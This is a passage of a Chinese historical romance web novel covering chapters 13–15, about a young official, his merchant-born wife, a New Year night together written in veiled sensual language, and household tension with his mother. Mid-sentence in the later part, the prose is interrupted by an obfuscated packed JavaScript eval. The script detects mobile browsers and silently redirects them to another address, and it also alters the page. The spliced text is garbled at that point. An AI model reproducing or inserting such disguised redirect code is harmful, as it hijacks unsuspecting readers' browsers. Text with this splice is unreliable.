靳连珠却不肯罢休,眼光凶狠,直冲着他唇咬上去。 沈敬行吃痛地闷哼一声,旋即想起她泪眼涟涟的样子,双手于半空中紧攥成拳,挣扎的心思无声无息间堙灭,改为拉高被褥,以免她又出汗受寒。 这两人,一个仿佛一叶扁舟,于惊涛骇浪之中起伏不定。一个仿佛被惊雷劈中,浑身滚着电流,痉挛蜷缩着。 轻轻浅浅,复又重重沉沉,使得春水凿凿,淋漓不断。青丝散乱,混作一处。软似蒲柳,硬如钢铁,迷蒙失态,却又神智清明,双眸灼灼,十指紧扣,抵足而眠,情思滔天。 内间光线太暗,沈敬行挽起半边床幔,借着月光俯身观察靳连珠的脸色。她鼻尖挂着晶莹的春水,累得睁不开眼,小口微张,细细喘着气,发丝如瀑布般披散在被衾上,胳膊正巧压着鸳鸯戏水图。 美得胜似一副画。 沈敬行心生爱慕,却不敢贪恋,正预备唤敛秋备水,妖精一样的人儿又从画册里施施然立起身,滑腻的双臂自后环住他,吐着芯子蛊惑:“除夕要守夜,不能歇得太早。” 她又用那种腔调唤他:“官人。” 沈敬行心尖颤抖不已,指甲死死抠着掌心,勉强扯住一抹神智,哑声道:“寻常守岁到这个时辰就行了。你累了,得歇着。” “累呀,当然累。” 靳连珠下巴搭在他肩上,吐出一口芳气,似怨似嗔:“刚刚扯着嗓子喊累的时候你不知停,这会却听进心里去了...” “别说。”沈敬行不方便转身捂她嘴巴,只能抢过话茬打断,心脏被她三言两语弄得不得安生。 他额上生汗,面颊发烫,双手努力从一堆衣物中扒拉,罕见的有些把持不住,羞恼地道:“不、不成体统。” 靳连珠哼了一声,仰头倒下去。 沈敬行得到片刻自由,飞快把衣裳披上,系带的时候,一双温热潮湿的小手又环抱过来制止了他的动作。 靳连珠没用力,轻而易举就让沈敬行扭过脸看着她。 沈敬行耐心等待她发话,可靳连珠迟迟不语,低着头,露出一截带着牙印的后脖颈,专注地钻研他掌心的纹路。 沈敬行看得眼热,指尖微勾,缠住她的,主动开了腔:“你有事。” “嗯。” 靳连珠郑重其事地问:“你要娘子还是要体统?” “……” 沈敬行顾左右而言其他:“严府医再三吩咐过,你这病得精心养着,不宜操劳过度。今夜是我的不对,当真不可再乱来了。” 靳连珠甩开他的手,一双含水的眸子直勾勾盯住他,大有不得答案不罢休的意思。只听她字句清晰地重复:“你要娘子,还是,要体统?” “……” 刹那间,沈敬行眼前浮现出初见靳连珠的场景。 面庞精致到像是天仙下凡的一个小姑娘,可惜浑然不知礼仪廉耻四个字的写法,大喇喇盯着他瞧个没完,竟让他生出浓烈的赧然,劈手夺过表妹的扇子挡住自个儿。 表面不乐意与这样粗鄙狂放的人扯上关系,心底却盼着她多看一看。 要是能被她记一辈子就好了。 彼时,他是这么想的。 多年后,从父亲口中得知真相,他没动怒,也没厌恶,想得却是:她家帮了一个天大的忙,让他以身相许作报答又有何妨。 给靳连珠作丈夫,是他的福分。 他得知足。 沈敬行不再系衣带了,两只手都伸过去抱住她。 靳连珠知道这就是他的回答了,不禁喜笑颜开,笼罩于心头的阴霾散去,大有重生一回的畅快感。 两人姿态亲昵地抱一会,靳连珠养回一些力气,仰着头寻到他的薄唇,轻轻柔柔地嘬着,手上动作暧昧,暗示性极强。 沈敬行按捺着,先没动,呼吸沉沉:“过完年,春闱马上就要开始了,陛下特命我作主考官之一。府上还有两个丫头的婚事要你操劳。待我们都忙完,我同工部其他人交接一下手头那些不要紧的公务,去向陛下告假,带你回淮州探望岳丈、岳母。” “真的?!”靳连珠眼睛霎时发着光,又不失担忧地问:“淮州距离永平城太远,走陆路一来一回也得两月光景,陛下会允么?” 沈敬行沉吟片刻,道:“对外说是告假,实则有公事在身。” 至于是甚么公务。 沈敬行暂且不能告知。 靳连珠也晓得轻重,决计不会追问。 返乡探亲的喜悦来得太突然,冲昏了靳连珠的头脑。她一时情难自抑,扑入沈敬行怀里,啪叽往他脸上印了一吻,笑吟吟道:“多谢官人。” “你我之间,何须言谢。” 靳连珠突地贴上来又亲一下,煞有其事道:“要谢的,还得诚心诚意的谢。把官人哄开心了,待会才能疼一疼妾。” “……” 这、这这这... 这是什么浑话。 沈敬行被她的坦率弄红了脸,却无法否认,他其实喜欢极了她这样儿。 恣意狂放,不加掩饰。 这才是真正的靳连珠。 因此,她指尖绕着他发尾打转时,他没拒绝;她拽他长袍时,他只愣了一下就接受了;她媚眼如丝,引着他到矮几旁行事时,他虽觉得此举太狂悖,但也强忍着没发表异议,且当着她的面儿,把双膝跪了下去。 候在外头的三人直等到天际泛起鱼肚白。 期间白芍扛不住倦意,依偎着白芷睡着了,半梦半醒中被一阵奇怪声响惊动,像是凄厉的哭,又像是隐忍的乐。 那张昂贵的拔步床咯吱咯吱作响,也许已经坏了。 白芍迷迷瞪瞪地睁开眼,发觉身旁的敛秋和白芷皆耷拉着脑袋,面红耳 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因着新岁佳节,严良平不在府中,返回家中陪亲人去了。 闻讯,他误以为大娘子出了什么好歹,一刻不敢耽误地赶来,搭上帕子一诊脉,随之品出一丝不对劲,面色红了又白,白了又青,青了又红。 严良平偷瞄端坐于一旁看似清心寡欲的年轻家主,咽下惊叹,怕吵着熟睡中的人儿,与沈敬行去外头说话:“夫人的身子恢复的极快,治疗咳疾的药还需再用一段时日,待开春便可停了。还有...还有...” 他吭吭哧哧的,半天没说出下文,眼神亦闪躲。 沈敬行以为出了什么大事,脸色沉下来。 严良平骇一跳,赶紧道:“家主不必担忧,娘子只是体虚,依照先前的法子仔细将养就成。” 顿了一顿,他声量压低几分,好心劝告:“家主与夫人都还年轻,如若想要子嗣,徐徐图之即可,不宜过分操劳。” “……” 毫无来由的,这番话引着沈敬行回忆起两捧酥山,双点朱砂的美景。 身体内传来轰然一声,震得他清醒过来。意识到自个儿幻想的是什么,沈敬行又羞又恼,恨不得当场一头撞晕过去。 沈敬行险少有这般慌不择路的时候,顾不得严良平,他急匆匆奔着书房而去,迫切想翻出一本圣贤书读一读,彻底祛除心底的污秽。 然,步子没迈出雅韵轩,沈敬行的耳朵便敏锐地捕捉到那一声娇滴滴的嗓音:“白芍,白芷——” 鬼使神差的,他停下步伐,转身凝视着那扇紧闭的窗牖。 不肖看,沈敬行脑袋里自然而然就浮现出靳连珠抻着两条白生生的胳膊伸懒腰的场景。 昨夜一番操劳,不到晌午人就醒了,想必没睡够,眼睛睁不开,裹着被子在榻上打滚,在起身与不起身之间反复徘徊。 可爱的紧。 沈敬行喉结滚了滚,方才浓烈的羞愧轻易就烟消云散。 他的身躯一松懈,步伐先动起来,奔着寝室而去,心中妥协地叹——靳连珠并非妖精,但他却实实在在的是个迷失于情爱之中的痴儿。 挣扎有何用。 圣贤书早就救不了他了。 - 年初一,开封府放开对“关扑”的禁令三日。 百姓们自晨起开始互相庆贺,街巷里摆满摊子,各种美食、干果糕点、日用器具之类的物品,随处可闻商贩高声呼和,招徕人们博戏。 马行街、安平吉街、建灵蠡门外、偃平门外的踊路上,以及皇城郊外往南一带,全都结扎着彩棚,摊铺里陈列着冠帽梳篦、珠宝翡翠、华美衣裳、领抹鞋靴,以及各种奇珍异宝,供顾客挑选采购。 彩棚更里面还分布着歌舞场馆,车来人往不断。 这些尽是从前来拜年的甄宛筠口中得知的。 靳连珠拉着沈敬行守岁一整夜,天擦亮时歇下不到两个时辰就醒了,人困得东倒西歪,还惦记着要女婢们为她仔细梳洗打扮,反复挑拣衣裳,最后换上一套勉强合心意的,急匆匆赶到碧波轩向婆母见礼问安。 葛氏待她仍是那副爱搭不理的模样,所幸靳连珠已经习惯了,并未觉得有何难过。她只管把各处礼仪规范都做到位,让葛氏无可指摘。 一家子围坐在圆桌前,心不在焉地用完饭,靳连珠又被一茬接着一茬的赠礼绊住脚,压根儿无暇出府游玩。 相比之下,甄宛筠这个当家大娘子的日子则过得闲适多了。 王濮存早早儿把府内的杂事料理干净,让甄宛筠安心的一觉睡到自然醒,然后到坊巷里采购。 等甄宛筠玩够了,夫妇俩这才开始走亲访友。 甄宛筠尝着雅韵轩的蜜饯好吃,也就开了话匣子,恨不得不分昼夜的把外头的趣事儿全部分享给靳连珠。 靳连珠只能眼巴巴地听着,羡慕的哈喇子都要淌到地上去了。 甄宛筠素来心直口快,见状撇嘴,吐槽:“要我说,你这婚不如不成。一个满腹才情的女子被折腾成笼中雀,不得一点儿自由,整日守着不解风情的木头丈夫,还得处处看着婆母脸色行事。这样的日子有哪里好?” 吓得靳连珠赶紧嘘声:“咱们不好背后议论长辈的。” 甄宛筠狂放惯了,凡事只论对或错,不会因着对方年长或位高便嘴下留情。 偏偏,葛氏是靳连珠的婆母,而不是她的。 甄宛筠作为外人,不能多嘴多舌打扰人家宅子的清净,只得暂且作罢,旋即说起别的事。 “秦凌莲在沈家住多久了?” “表姑娘是年前来的。” 靳连珠略一思忖:“将近两月吧。” 闻言,甄宛筠细细长长地叹一口气:“娇娇人儿,你是真傻还是假傻。” 她长得俏丽,脾气洒脱恣意,嗓音脆生生的,活像戏文里常扮作俊秀公子挑逗良家的姑娘。比那些风流才子更引人注目。 靳连珠最爱长得漂亮的人儿,不分男女。况且,她以这么暧昧的方式唤她的小字,没得让靳连珠脸红心跳,声量不自觉低几分:“阿筠不妨直言。” 恰时,屋外响起脚步声,是敛秋来替王大人催促了。 甄宛筠意味深长地看一眼靳连珠,一面心疼美娇娘掉入虎狼坑不自知,一面于心中咒骂沈敬行是个狠心绝情的,恨不得当即就把从长辈那儿听到的消息尽数说给靳连珠听。 转念又一想,新春佳节,她过来拜年,没理由掺和人家的家事儿。 于是强忍下这股冲动,握着靳连珠的手,依依不舍道:“入夜之后,你若有空,便着人送个信儿,咱们一道出来快活快活。” 靳连珠笑弯了眼睛,一口应下。 14. 第十四回 甄宛筠这趟来,还记得给靳连珠稍带上事前说过的册子。 起初,靳连珠以为这厚厚一本是禁书,羞煞万分,急慌慌藏于枕下,避开人才敢拿出来看,发现原是大街小巷都会卖的话本。 想来甄宛筠平日没少翻阅,封皮翘着角,纸张毛边。 靳连珠在闺阁中的时候也极爱看话本,买的太多了,还专门腾出一间屋子存放。成婚之后,她反倒觉得那些缠绵悱恻的爱情故事皆为虚构,与现实有太大的出入,遂没了兴致。 许是昨夜过得太酣畅淋漓,使靳连珠久违的体验一把郎情妾意的滋味,堙灭的心思得以慢慢复燃,遂唤白芷备一壶临江玉津、半盘果干,悠然自得地躺在美人椅上翻阅。 今儿的日头极好,顺着窗牖的缝隙斜斜地照进来,金光一片洒在靳连珠身上,晒得暖烘烘的。 内间静谧万分,伴随着炭火时不时噼啪的响声,靳连珠打了个哈欠,不知不觉间睡过去了。 - 前厅宾客由沈敬行亲自接待,除去三两好友,剩下的都是官场上不得不打照面的同僚。 沈敬行一一应付着,晌午时分留客人在府上用饭,之后又被拉着与人手谈几局,直到日头西斜才得空。 敛秋早早儿命小厨房备下饭菜,询问沈敬行是否用膳。 沈敬行太阳穴周匝隐隐作痛,疲倦极了,当下回味起靳连珠按摩的舒服滋味,遂问:“大娘子那边还忙着?” 今日府上宾客众多,他不得空,她应付女眷们也吃累。 思及此,沈敬行吩咐敛秋,让小厨房多备几道合大娘子胃口的淮州菜,道:“我稍坐一会,过去雅韵轩用饭。” 敛秋应声,退至门边又回来,欲言又止。 沈敬行淡淡扫他一眼。 敛秋立即察觉到一股强大的压迫力,抖着心肝,惶恐道:“家主,今儿来府上拜访的女眷们,除去甄大娘子,其余的人都只去了碧波轩。老夫人见过几位素有旧交的官眷夫人,便称身子乏累,一应事务皆交给表姑娘了。” 新岁拜会图的不仅是吉利,迎来送往的皆为人情。 一年之计最要紧的便是今日,大娘子不现身见客,葛氏却让外姓的表姑娘主持大局,传出去,城中官眷娘子们岂不更加怠慢大娘子。 敛秋早早儿的就想向沈敬行告状,可惜前厅的客人源源不断,他根本寻不到机会。 闻言,沈敬行眸色深沉似墨,逐渐酿出一团阴霾。 敛秋被唬住,不敢再言,向一旁的拂冬投去求助的眼神。 拂冬默了一默,接替他说:“大娘子一直被老夫人拘在内宅管理家务,鲜少出门同他人打交道,故而皇城内的官眷们大多不认得大娘子,逢年过节或游玩宴会,自然也就无人递邀帖。” “去年过节,家主在外公干,老夫人身子又不大康健,担忧会过病气给宾客,节前三日让大娘子整理出一份礼单,差人挨家挨户送过去。既抵过年初一的拜见,又不至于让旁人觉得咱家失礼数。” 只是,这样一来,大娘子嫁入沈家的第一个年头就不曾于众人面前露过脸,再加之暗地里的那些流言蜚语,使得她更不被人放在眼里了。 今日诸位女眷只认老夫人,情愿去表姑娘置办的席面也不屑跟大娘子打交道,很是意料之中的事情。 敛秋瞅见家主紧绷的脸色,忙扯住拂冬衣袖,制止住他后头的这番话。 厅上霎时陷入一片死寂。 沈敬行行事惯来讲究进退有度,最守克制一道,极少动怒。此时却沉下脸,双手死死攥着腰间的香囊,一时之间,竟是隐隐动起杀念。 纵使斥责上亲乃大不敬之罪,沈敬行也忍不住心中愤懑,冷嗤一声:“母亲此计,当真狠辣。” 表面上端着慈母的作派,对于儿媳,教导和关怀给了,权力和体面也给了,就算日后泄露出猫腻,亦让人无话可说。 实则处处打压、抹杀靳连珠,让她置身于孤立无援的境遇,逐渐开始产生自我怀疑的念头。日子一长,靳连珠郁闷难消,则百疾横生,最后难免落得个形神俱灭的下场。 沈敬行原本以为母亲只是不喜靳连珠的出身,如今才恍然大悟,心中的偏见一生,纵然靳连珠千般万般好,落在她眼中也变成眼中钉、肉中刺,欲除之而后快。 现下沈敬行就在永平城中,母亲行事却毫不避讳,恐怕趁他不在之时,靳连珠吃得苦头比拂冬书信里写得更甚。 这会子回过神,沈敬行愤怒有之,懊悔有之,心疼有之,百般情绪混在一处,硬生生让他嘴里呕出一股腥涩味儿。 沈敬行闭上眼睛,努力缓和起伏不定的心绪,开口却仍旧一股子浓烈的肃杀之气:“去碧波轩。” 敛秋知晓他奔着什么,忙道:“东桦府的荣夫人带着儿媳、嫡孙,向老夫人贺新年来了。半炷香之前,周妈妈才去吩咐厨房备席面,要留客人们用了晚膳再走。” 言下之意是劝家主行事需要再三斟酌,甭把家丑闹得满城风雨。 沈敬行果然步伐一停:“可曾派人知会大娘子?” 敛秋头低下去,声如蚊蝇:“不、不曾。” 沈敬行轻呵一声,忽有一计上心头,转身直奔雅韵轩。 - 日头西斜,靳连珠方才悠然转醒。 她这一觉睡得沉,梦境光怪陆离,睁开眼却忘得一干二净,精神恍惚良久,起身时天色竟已擦黑。 册子从怀里滑落到地上,被白芍捡起来。她穿着新衣,头戴靳连珠赏的宝钗,嫩生生的一张脸,瞧着就让人心情好。 靳连珠由梦中带出的那一抹伤神也因此烟消云散。 她饮一盏茶水润润干涸的嗓子,坐到梳妆台前对镜整理凌乱的发丝,吩咐白芍寻个办事稳妥的下人去给甄宛筠送口信儿。 忽又说:“罢了罢了,没问过官人的意思呢。” 白芍笑道:“出门游玩一趟而已,大娘子这点权力还是有的。” “今日府中事多如牛毛,前厅后院的宾客没散,我这个做大娘子的反倒先玩去了,忒不像话。” 白芍瘪嘴,忿忿不平:“您这般守礼节有可用,老夫人照旧不领情,还不如就敞开性子,恣意过活算了。” 从前白芍瞧着家主处处疏远大娘子,误以为他也看不上商贾人家,暗地里对他难免有些言论。 不过,经过前阵子的事儿,白芍算明了了,家主为护着大娘子不惜与老夫人起争执,毅然决然的将周妈妈跟那些乱嚼舌头的下人们一并罚了。 后来大娘子病中的时候,家主日日夜夜陪伴在侧,可见他是个面冷心热的人,面上不显,其实十分疼惜大娘子。 既有家主撑腰,大娘子自不必活得如此小心翼翼,待日后生个一儿半女,夫妇恩爱,何愁无法在沈家立足。 靳连珠拧身,斜眼乜她,表情分不清喜怒。 偏偏白芍不是个会看眼色的,上赶着问:“娘子觉得如何?” 靳连珠冷哼一声,用力捏白芍的脸颊肉。 “你怕是前头没吃够打,竟敢当面议论起主子的家事来了...既然你有这么高的心气,放在我身边伺候倒是屈才了,不若给你找个好儿郎嫁了,到自己的婆家耀武扬威去。” 白芍这才咂摸过味儿,吓得险些没拿住玉梳,噗通一声跪倒在地,连连道:“奴婢知错,再不敢了。” 靳连珠没像平常那样好脾气的就放过她。 过半晌,才徐徐开口。 “公公去得早,婆母作为太后娘娘的嫡亲妹妹,日后改嫁也不愁找不到好的人家,婆母却因放不下夫妻情分,以一己之力抗下沈府的重担,其中心酸道不尽、说不清。如若我是婆母,未必有这么大的能力把事儿办的如此漂亮,就冲这一点,我合该敬婆母几分。” 白芍红着眼眶,泪珠要掉不掉的,很是替靳连珠委屈:“可这些又不是娘子的错,凭什么老夫人要这般磋磨您?” “年初一,外客上门拜访,理应由家主和娘子操办席面,现下仅家主一人在外忙活,女眷们都到碧波轩去参加表姑娘的席面。偌大一个沈府,竟浑然不将您这个明媒正娶的大娘子放在眼里了。” 低声吼完这句,白芍啪嗒啪嗒掉下两串泪珠,打湿衣襟。 大过年的,靳连珠不舍得白芍哭啼,担忧触及霉头让她一整年都过得不顺畅,于是把人拉到身边说话,语调柔和不少。 “婆母就官人这一个儿子,可谓是把全部的心血都倾注在他身上了。沈家的族老们皆指望着官人能光耀门楣,官人却违背家中长辈的想法,迎娶我为妻。自我进门的那刻起,便意味着官人的仕途最高便也只能到此了。” 多年谋划终成梦里黄粱,葛氏又岂能不恨? 大病一场,靳连珠算是因祸得福,想明白其中的关窍,也就没那么委屈了。 日后婆母刁难,她作为晚辈,多多忍让便是。 至于婆母想让沈家大娘子换人的念头,官人心中自始至终只有她一人,无论如何都不会同意,她也就无须再为这等闲事忧心了。 可是白芍一个小丫头片子,满心满眼都为她的娘子考虑,自然不懂高门大户之间的弯弯绕绕,更甭提涉及官场之事了。 闻言,她瞪大双眼,震惊半晌,声也低了:“有这么严重?” 靳连珠不语,心中却叹:何止。 自诩文官清流的沈家却自降身价与商贾为伍,放纵嫡长子迎娶商贾之女为妻,这事儿翻过来覆过去,怎么着都不好听。 亏得沈敬行素有贤名在外,能力出众又得官家重用,再加之靳连珠长居内宅,行事低调神秘,让外人拿不出把柄。 现如今提及这桩婚事,大多人会赞他们伉俪情深,突破重重阻碍也要相守,且还能算作一桩美谈。 如若行差踏错半步,恐就让朝中那些看沈敬行不顺眼的人给他安一个“贪财好色”的罪名了。 “那又如何。”白芍抹干净脸上的泪痕,噘着嘴犯嘀咕:“依照娘子的品貌,当初想寻甚么好儿郎寻不到。实在不济,按照夫人说的,招赘也成。” “咱家行商,惯来讲究诚信仁慈,可从来没想着挟恩图报。明明是家主信笺不断,这些年吊足了娘子的一颗真心,临到头来,沈家却喊冤,仿佛受了天大的委屈,弄得娘子里外不是人...” “这桩婚事能成,那也是家主心甘情愿的,总不能又得美娇娘又要官运亨通吧,天底下哪有两全其美的事儿。” “——嘿,你这犟丫头,满肚子装得全是歪理。” 靳连珠气极反笑:“感情我方才都白说了。” 说罢,就要站起来打她。 白芍晓得靳连珠并非真的发怒,笑吟吟地绕着圆桌跑,靳连珠便从后头追她,追不上,叉着腰气喘吁吁地叫白芷。 白芷进来瞧见这一幕,知晓她俩在闹着玩,帮也不是,拦也不是,也笑道:“白芍,你真是越发放肆了。” 院子里的玉莲和曲莲听见里头响声不对,也急匆匆地进来。 玉莲到底老实,跟白芷站在一处不打算管。 曲莲便没那么守礼了,撸起袖子就帮靳连珠逮人。 一时之间,整个雅韵轩被弄得鸡飞狗跳,却也热闹非凡。 看门的其中仆从扭头看去,禁不住乐:“自从娘子领着下人们投壶,被老夫人狠狠罚过一次,咱院儿里就再没见这么热闹了。” 另一人正欲附和,余光先瞥见来者,身体顿时打了个激灵,面色严肃下来,嗓门高亢地喊:“家主到——” 一声未落,雅韵轩内霎时静了。 所有下人不敢再闹,纷纷整理衣襟,方才还敢在靳连珠面前大言不惭的白芍也老老实实退去一旁,耷拉下脑袋,噤若寒蝉。 唯有靳连珠欢喜雀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083216|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跃。 她盼了一整日,终于盼到他来,步履匆忙地迎出去。 沈敬行大老远就听见雅韵轩内的嘈嚷声,走近却听不见了。 正疑惑着,视野中突然闯入一抹窈窕身姿,裙摆蹁跹,如迎风绽放的花朵儿,他心弦一动,下意识张开手臂,那道身影随之轻飘飘地落入怀中。 见状,下人们立马背过身去。 两人身量差距不小,沈敬行一惯没有迁就的意识,靳连珠只得踮起脚尖,胳膊挂在他脖颈上,小力地晃了晃,娇滴滴地嗔怪:“忙到这么晚,也不晓得派个人提前来通传一声,我这儿可没备你的饭菜。” 沈敬行久违地见到她眉眼含春、双颊绯红的样子,难免情不自禁,喉头滚了滚,口中念着“无妨”,就要抬起手摸她脸蛋儿。 靳连珠却以为沈敬行不经闹,此举是为把自己推开,于是先一步撤出他的怀抱,改为拉着他的衣袖,似乎觉得这样也不妥,干脆规规矩矩地背着手,笑容有些讨巧的意味:“你就算不来,我也要派人去寻你的。” 沈敬行伸出的手落空,心也跟着咣当一响,失魂落魄的跟随她入内。 话本大喇喇地放在桌上,经过那地儿,沈敬行瞥见书脊印着“攻略冷面夫君的一千零一式”,顿时陷入诡异的沉默,片刻后方才出声:“什么事?” 靳连珠褪去鞋子,盘腿坐到软榻上,把他往身前扯。 沈敬行不明所以,但依着她也落座了。 关起门来,周遭无外人,靳连珠猜测沈敬行不抗拒跟自己亲近了,大着胆子贴近他宽阔的背脊,下颌抵在肩头,眼皮耷拉着,手指尖在他外衫云纹上摩挲。 “听说今日外头热闹的很,待会用过晚膳,如若家中无事,我欲同阿筠一道出门玩。”生怕他当场否决,靳连珠又补充:“只是去看看,不做旁的事,最迟一个时辰就回来了。” 沈敬行微微皱眉,攥住身前那只作乱的手。 靳连珠腕子一转,跟他十指相扣,撒娇似地晃:“成不?” 沈敬行没说好,也没说不好。 静默片刻,他犹疑道:“外头人多又乱,你单独出去,太不安全。” “并非单独,我与阿筠皆带着随从,王大人也同行,定不会出乱子的。”靳连珠立即保证:“官人若实在不放心,就让拂冬跟着我一同去?” 沈敬行一口回绝:“府里入夜要点灯笼,这是传统。拂冬跟敛秋有经验,得指挥众人办事,抽不了身。” 靳连珠以为他这就是不应的意思了,脑袋耷拉着,眸光也黯淡下去,像一颗蒙尘的珍珠,又像一株迅速枯萎的花朵儿,闷闷地咕哝:“听官人的。” 沈敬行看出她不悦,却没揪着这个话题聊下去,转而说起别的:“东桦府的荣夫人,你可识得?” 靳连珠不再攀着他,规规矩矩地坐正,语气打蔫:“嗯。” 沈敬行扭头看过来,目光意味深长。 靳连珠心底一泠,随即正色道:“认识的。东桦府跟咱家交情匪浅,年前荣夫人喜得嫡孙,婆母包了一个大大的红封,又打了一套金环、金镯,从库房取出宝物若干,一并送过去祝贺。” 沈敬行深深看她一眼,到底没忍住,主动凑近拉起她的小手,虚虚地拢着:“荣夫人一家子女眷过来拜年,母亲留她们在碧波轩用晚饭。稍后,我们先去见客,待叙完话,再出门也来得及。” 靳连珠顺着他嗯声,嗯完之后突然品出不对劲,喜出望外地惊叫:“我们?!官人说,我们?!难不成官人要与我一同外出?” 沈敬行不语,只睨着她。 但此时的沉默就等同于承认。 喜悦来得太突然,靳连珠被冲昏头脑,一时不知该说什么好,也顾不上体统礼仪了,捧着沈敬行的脸狠狠啄上一口,啵得一声脆响。 沈敬行脑袋懵了一瞬,唇也酥酥麻麻的,目光捕捉到靳连珠过分倾斜的身影,以为她要摔下去了,急急出手抱住她,随后才发现她胳膊吊着他的脖颈,散开的长发晃来晃去,实则稳当的很。 再一低头,正对上靳连珠温软的眸光。 她生得太美,浅浅含笑注视着他的时候,总能把他一颗被锻造的硬如钢铁的心脏砸得稀巴烂。 沈敬行很容易就接受靳连珠那双探入衣衫内到处作乱的柔夷,抛却引以为傲的自持,启唇回应她的吻。 持续良久之后,双方都有些呼吸不稳,额头抵着,不曾分开。 因着今日发生的事儿,沈敬行待靳连珠心有愧疚,罕见的带着一腔柔情,哄说:“夜里风大又冷,记得换上最厚实的冬装出门。” “那样看上去岂不是很臃肿,一点儿都不美了。”靳连珠嘟起微肿的红唇,表情无辜,蒲柳一般的腰肢儿却没停下过,弄得衣裳窸窣作响。 “美是次要,康健排第一。” 撂下这句,沈敬行飞速握住靳连珠的肩膀,模样正经,实则浑身都绷紧了,咬着后槽牙堪堪挤出一声:“再闹,就别出门了。” 靳连珠没听出言下的那层意乱情迷,单纯以为是个威胁,嘀咕一声“成吧”,紧接着利索地抽离他的怀抱。 沈敬行短暂的匀出一口气,余光瞥见她又凑近。 这次为着讨价还价:“官人眼光极好,待会妾梳妆的时候,想让你在旁边掌掌眼,帮着挑几样首饰,如何?” 沈敬行理了理弄皱的衣摆,闻言怔愣一瞬,不晓得这又是她从哪儿学到的闺房之乐。 他不熟练,也难为情,以往必然是要回绝的。许是当下双唇肿胀未消,体内叫嚣的热潮冲昏他的理智,竟使他痛快就点了头。 靳连珠不由得一喜,又是啪叽一嘴亲上他的面颊。 沈敬行猝不及防,耳根红了个彻底,本能的一句“不成体统”已经到嘴边,被他用尽浑身力气硬生生咽回肚子里,化作长叹:“你老实坐稳,别摔了。” 15. 第十五回 用完饭,靳连珠乐津津地哼着曲儿,坐到梳妆台前打扮。 沈敬行踌躇片刻,还是凑近打开首饰匣子。 他不是很懂姑娘家装扮的喜恶,只凭着对靳连珠的了解,拣出一支缠金丝的白玉发簪。问:“如何?” 靳连珠手持铜镜,镜中倒映着她浅浅弯起的一双眼睛,亮着皎洁的光:“官人果真懂我,一下就选到我心坎儿上了。” 沈敬行叫她说得难为情,转身要唤白芷到近前伺候她梳妆,却被靳连珠一把擒住腕子,脑袋顺势凑过来,糯叽叽地哼着:“替我簪上呀。” 下人们见状,互相递了个眼神,悄悄退出去,不忘把门带上。 没了闲杂人等,沈敬行深吸一口气,晃荡的心神也平复几分。他对着她满头青丝仔仔细细观察半晌,勉强寻到个角度斜斜地簪进去,还是那句:“如何?” 靳连珠对镜左右瞧了一瞧,满意地颔首:“甚好,甚好。” 霎时间,沈敬行绷住的神经松懈,无声呼出一口浊气,皱紧的眉间随之舒展开,亲上手帮她调试发簪的细微处。 这一幕落入靳连珠眼中,让她哭笑不得。一桩夫妻间增进感情的趣事,反倒弄得他如坐针毡,像是面对官场上突如其来的考核。 腹诽一句,靳连珠又涌起坏念头,遂使唤沈敬行给自个儿涂胭脂。 沈敬行没想到她突然发难,脸色微变,有些恼怒道:“我不会。” 语罢,双手也垂下,铁了心不肯接她递来的胭脂盒。 靳连珠晓得沈敬行面皮薄,答应挑选首饰已经是他最大的让步了。她见好就收,转过身自己上妆,暗地里,余光始终在沈敬行身上流连。 今日为见外客,沈敬行一改往日质朴的习惯,穿得十分体面。 再加之他本就生得貌美,一双略微下垂的眼,黑眸水润透亮,明明是不苟言笑的正经模样,却让她觉得可怜兮兮,心头发软,只想疼上一疼。 无奈靳连珠不敢上赶着招惹沈敬行不痛快,才求得他跟自己一道出门游玩,万一让他恼羞成怒,撂挑子不干了,可真就得不偿失了。 靳连珠心猿意马地涂着面颊,没发觉抖落的粉掉落在领口。 沈敬行伸手揩去,冷不丁开腔:“我没侍弄过这些玩意儿,一个不小心把你的妆面毁了,又得重画。” 耽误事儿不提,还会坏了她的好心情。 干脆他就不掺和了。 靳连珠万万没料到沈敬行这个闷葫芦也会有主动开口解释的时候,登时乐得合不拢嘴:“官人心细,想得也周到。等日后寻到机会,我再教你。” 这话下掩藏的意思忒暧昧,沈敬行应不是,不应更不是,尴尬地轻咳一声,索性就转移话题,问她吃不吃枣子。 靳连珠没涂口脂,便说吃一个。 又仗着两手忙碌,非让他投喂。 沈敬行难得一见的好脾性,从盘子里挑挑拣拣,捻了一颗裹着糖霜的小个儿枣子,塞入靳连珠口中。 欲退出去的时候,指尖猝不及防被咬住。 靳连珠的力气不大,咬一口也不疼,尖牙磕在指腹上酥酥麻麻的,十分痒,让沈敬行霎时变得躁动难安。 温热潮湿的环境总让人联想到一些上不得台面的事情,沈敬行被触动,最敏感的神猛地绷紧。 他先看一眼外头挂起的火红灯笼,发现转移注意力无果,遂深吸一口气,皱起眉,抿唇:“松开。” 靳连珠不依,抬起眼皮巴巴地盯着他,眼波流转之间说不清的诱。 沈敬行喉头一沉,彻底哑声了。 两人保持这个姿势,僵持不下,空气中涌动着不安分的暗流。 意识到自己就快要耐不住,沈敬行直接别过头去,可视野里没了那张娇艳的面庞,触感就变得愈发敏锐。 他手被她叼着,压根儿收不回,心被撩拨的乱成一团。 在沈敬行经不住这般戏弄即将发火之前,靳连珠舌尖一伸,利索地勾走枣子,还不忘嘬掉裹在上头的糖霜。 沈敬行蓦地瞪大双眸,不敢置信极了,像是受到天大的羞辱,整张脸以肉眼可见的速度涨红起来,双唇轻微哆嗦着:“你、你……” 靳连珠离开他白玉似的手指,上半身却顺势欺近,瞅着他额角渗出汗珠咯咯笑:“喂个枣儿而已,官人紧张什么?” 沈敬行难堪万分,似是被靳连珠孟浪的行径惹怒了,又似面皮太薄,无法处理这样的情况,抿紧嘴唇不搭理她。 靳连珠反倒是心情颇佳,嚼着枣子继续对镜描眉去了。 徒留沈敬行一人停留在羞耻的情绪中。 他垂着头,耳根后的肌肤火红一片,背脊仍挺得笔直,用衣袖遮住发抖的手指,沉默良久,不情不愿地找补一句:“无甚可紧张的,只是屋内烧得炭火太旺,热出汗了。” “哦——” 